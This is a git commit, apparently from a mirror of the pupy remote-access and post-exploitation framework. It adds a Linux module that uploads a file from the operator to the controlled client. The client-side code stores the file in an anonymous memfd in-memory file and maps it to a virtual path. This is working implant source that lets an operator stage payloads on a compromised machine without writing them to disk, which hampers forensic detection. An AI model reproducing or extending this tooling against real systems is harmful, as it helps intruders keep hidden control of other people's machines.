mirror of https://github.com/n1nj4sec/pupy.git
linux/mapped: Add module to work with _pupy.pathmap
This commit is contained in:
parent
2dc6196bbb
commit
9bb750c836
|
@ -0,0 +1,38 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
from pupylib.PupyModule import config, PupyModule, PupyArgumentParser
|
||||
from pupylib.PupyCompleter import path_completer
|
||||
|
||||
__class_name__ = 'Mapped'
|
||||
|
||||
@config(compat='linux')
|
||||
class Mapped(PupyModule):
|
||||
''' Create virtual mapped path with memfd backed file (if supported) '''
|
||||
|
||||
dependencies = ['mapped']
|
||||
|
||||
@classmethod
|
||||
def init_argparse(cls):
|
||||
cls.arg_parser = PupyArgumentParser(prog='mapped', description=cls.__doc__)
|
||||
|
||||
actions = cls.arg_parser.add_mutually_exclusive_group()
|
||||
actions.add_argument(
|
||||
'-C', '--create', help='Path to local file to upload',
|
||||
completer=path_completer
|
||||
)
|
||||
actions.add_argument(
|
||||
'-R', '--remove', action='store_true', help='Remove virtual path'
|
||||
)
|
||||
|
||||
cls.arg_parser.add_argument('virtual', help='Virtual path')
|
||||
|
||||
|
||||
def run(self, args):
|
||||
if args.create:
|
||||
create = self.client.remote('mapped', 'create_mapped_file')
|
||||
|
||||
with open(args.create, 'rb') as idata:
|
||||
create(args.virtual, idata.read())
|
||||
else:
|
||||
remove = self.client.remote('mapped', 'close_mapped_file')
|
||||
remove(args.virtual)
|
|
@ -0,0 +1,42 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
try:
|
||||
from _pupy import pathmap
|
||||
from pupy._linux_memfd import (
|
||||
memfd_is_supported, memfd_create
|
||||
)
|
||||
|
||||
except ImportError:
|
||||
raise ValueError('PathMap not supproted')
|
||||
|
||||
|
||||
if not memfd_is_supported():
|
||||
raise ValueError('Memfd is not supported')
|
||||
|
||||
|
||||
MAPPED_FDS = {}
|
||||
|
||||
|
||||
def create_mapped_file(path, data):
|
||||
if path in MAPPED_FDS:
|
||||
raise ValueError('Mapped file {} exists'.format(path))
|
||||
|
||||
fd, filepath = memfd_create()
|
||||
|
||||
pathmap[path] = filepath
|
||||
MAPPED_FDS[path] = fd
|
||||
|
||||
r = fd.write(data)
|
||||
fd.flush()
|
||||
|
||||
print "FLUSHED: ", r, len(data)
|
||||
|
||||
|
||||
def close_mapped_file(path):
|
||||
if path not in MAPPED_FDS:
|
||||
raise ValueError('File {} is not mapped'.format(path))
|
||||
|
||||
MAPPED_FDS[path].close()
|
||||
|
||||
del MAPPED_FDS[path]
|
||||
del pathmap[path]
|
Loading…
Reference in New Issue